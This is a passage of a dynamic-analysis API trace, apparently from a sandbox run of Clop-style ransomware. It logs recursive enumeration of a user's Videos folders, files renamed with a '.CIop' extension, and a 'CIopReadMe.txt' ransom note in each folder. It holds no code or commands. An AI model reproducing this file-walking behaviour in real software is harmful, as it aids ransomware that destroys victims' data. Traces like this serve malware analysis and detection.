(in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.050] lstrcmpW (lpString1="bVHx1G7LG6.swf.CIop", lpString2="..") returned 1 [0118.050] lstrcmpW (lpString1="bVHx1G7LG6.swf.CIop", lpString2=".") returned 1 [0118.050] lstrlenW (lpString=".CIop") returned 5 [0118.050] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.050] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.050] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.050] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.050] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.050] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0118.050] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0118.050] lstrlenW (lpString="desktop.ini") returned 11 [0118.050] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.050] lstrcmpW (lpString1="Up-xCZd9p 2yrWN.mp4.CIop", lpString2="..") returned 1 [0118.050] lstrcmpW (lpString1="Up-xCZd9p 2yrWN.mp4.CIop", lpString2=".") returned 1 [0118.050] lstrlenW (lpString=".CIop") returned 5 [0118.050] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.050] lstrcmpW (lpString1="VYNmKqyqyi.mkv.CIop", lpString2="..") returned 1 [0118.050] lstrcmpW (lpString1="VYNmKqyqyi.mkv.CIop", lpString2=".") returned 1 [0118.050] lstrlenW (lpString=".CIop") returned 5 [0118.050] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.050] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.050] lstrcmpW (lpString1="Xj74 9 m.flv.CIop", lpString2="..") returned 1 [0118.051] lstrcmpW (lpString1="Xj74 9 m.flv.CIop", lpString2=".") returned 1 [0118.051] lstrlenW (lpString=".CIop") returned 5 [0118.051] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.051] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.051] lstrcmpW (lpString1="zDzpwp-28.avi.CIop", lpString2="..") returned 1 [0118.051] lstrcmpW (lpString1="zDzpwp-28.avi.CIop", lpString2=".") returned 1 [0118.051] lstrlenW (lpString=".CIop") returned 5 [0118.051] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.051] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0 [0118.051] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0118.051] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0118.051] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0118.051] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*" [0118.051] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0118.051] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="Videos" [0118.051] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0118.051] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.051] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.051] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.051] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.051] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.051] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.051] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.051] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.051] lstrcmpW (lpString1="wNN lOPK", lpString2="..") returned 1 [0118.051] lstrcmpW (lpString1="wNN lOPK", lpString2=".") returned 1 [0118.051] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0118.051] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0118.051] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0118.052] SetErrorMode (uMode=0x1) returned 0x1 [0118.052] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0118.052] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0118.052] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0118.052] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*" [0118.052] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dbf8 [0118.052] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="wNN lOPK" [0118.052] lstrcpyW (in: lpString1=0x2dc7014, lpString2="wNN lOPK" | out: lpString1="wNN lOPK") returned="wNN lOPK" [0118.052] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.052] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.052] lstrcmpW (lpString1="33G0h-QVWGTGNhCEha.mp4.CIop", lpString2="..") returned 1 [0118.052] lstrcmpW (lpString1="33G0h-QVWGTGNhCEha.mp4.CIop", lpString2=".") returned 1 [0118.052] lstrlenW (lpString=".CIop") returned 5 [0118.052] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.052] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.052] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.052] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.052] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.052] lstrcmpW (lpString1="S20n9CABG0uo.mp4.CIop", lpString2="..") returned 1 [0118.052] lstrcmpW (lpString1="S20n9CABG0uo.mp4.CIop", lpString2=".") returned 1 [0118.052] lstrlenW (lpString=".CIop") returned 5 [0118.052] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.052] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.052] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0118.052] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0118.052] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0118.052] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*" [0118.052] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67de38 [0118.052] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="wNN lOPK" [0118.052] lstrcpyW (in: lpString1=0x2dc7014, lpString2="wNN lOPK" | out: lpString1="wNN lOPK") returned="wNN lOPK" [0118.052] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.053] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.053] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.053] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.053] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.053] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.053] lstrcmpW (lpString1="ugEH", lpString2="..") returned 1 [0118.053] lstrcmpW (lpString1="ugEH", lpString2=".") returned 1 [0118.053] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK" [0118.053] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0118.053] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\", lpString2="ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0118.053] SetErrorMode (uMode=0x1) returned 0x1 [0118.053] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0118.053] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0118.053] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0118.053] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*" [0118.053] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e2b8 [0118.053] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="ugEH" [0118.053] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="ugEH" | out: lpString1="ugEH") returned="ugEH" [0118.053] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.053] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.053] lstrcmpW (lpString1="62uD.avi.CIop", lpString2="..") returned 1 [0118.053] lstrcmpW (lpString1="62uD.avi.CIop", lpString2=".") returned 1 [0118.053] lstrlenW (lpString=".CIop") returned 5 [0118.053] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.053] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.053] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.053] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.053] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.053] lstrcmpW (lpString1="Eowo0nLnhzDtXx7wGkmW.mp4.CIop", lpString2="..") returned 1 [0118.053] lstrcmpW (lpString1="Eowo0nLnhzDtXx7wGkmW.mp4.CIop", lpString2=".") returned 1 [0118.053] lstrlenW (lpString=".CIop") returned 5 [0118.053] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.053] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0118.053] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0118.053] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0118.054] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0118.054] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*" [0118.054] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e078 [0118.054] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="ugEH" [0118.054] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="ugEH" | out: lpString1="ugEH") returned="ugEH" [0118.054] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.054] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.054] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.054] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.054] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.054] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0118.054] lstrcmpW (lpString1="VAlp", lpString2="..") returned 1 [0118.054] lstrcmpW (lpString1="VAlp", lpString2=".") returned 1 [0118.054] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH" [0118.054] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0118.054] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\", lpString2="VAlp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" [0118.054] SetErrorMode (uMode=0x1) returned 0x1 [0118.054] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" [0118.054] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" [0118.054] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\" [0118.054] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*" [0118.054] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e2b8 [0118.054] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="VAlp" [0118.054] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="VAlp" | out: lpString1="VAlp") returned="VAlp" [0118.054] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.054] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.054] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0118.054] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0118.054] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0118.054] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.054] lstrcmpW (lpString1="gbg6IyO.avi.CIop", lpString2="..") returned 1 [0118.054] lstrcmpW (lpString1="gbg6IyO.avi.CIop", lpString2=".") returned 1 [0118.054] lstrlenW (lpString=".CIop") returned 5 [0118.054] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0118.054] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0118.055] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0118.055] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" [0118.055] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*" [0118.055] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67deb8 [0118.055] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="VAlp" [0118.055] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="VAlp" | out: lpString1="VAlp") returned="VAlp" [0118.055] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.055] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.055] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.055] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0118.055] FindNextFileW (in: hFindFile=0x67deb8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0118.055] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 1 [0118.055] FindClose (in: hFindFile=0x67deb8 | out: hFindFile=0x67deb8) returned 0 [0118.055] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0118.055] FindClose (in: hFindFile=0x67e078 | out: hFindFile=0x67e078) returned 1 [0118.055] FindClose (in: hFindFile=0x67e078 | out: hFindFile=0x67e078) returned 0 [0118.055] FindNextFileW (in: hFindFile=0x67de38, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0118.055] FindClose (in: hFindFile=0x67de38 | out: hFindFile=0x67de38) returned 1 [0118.055] FindClose (in: hFindFile=0x67de38 | out: hFindFile=0x67de38) returned 0 [0118.056] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.056] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0118.056] lstrcmpW (lpString1="XtvCrj2M0wzyx7ebEjj", lpString2="..") returned 1 [0118.056] lstrcmpW (lpString1="XtvCrj2M0wzyx7ebEjj", lpString2=".") returned 1 [0118.056] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0118.056] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0118.056] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0118.056] SetErrorMode (uMode=0x1) returned 0x1 [0118.056] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0118.056] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0118.056] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0118.056] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*" [0118.056] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67db78 [0118.056] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0118.056] lstrcpyW (in: lpString1=0x2dc7014, lpString2="XtvCrj2M0wzyx7ebEjj" | out: lpString1="XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0118.056] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.056] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0118.056] lstrcmpW 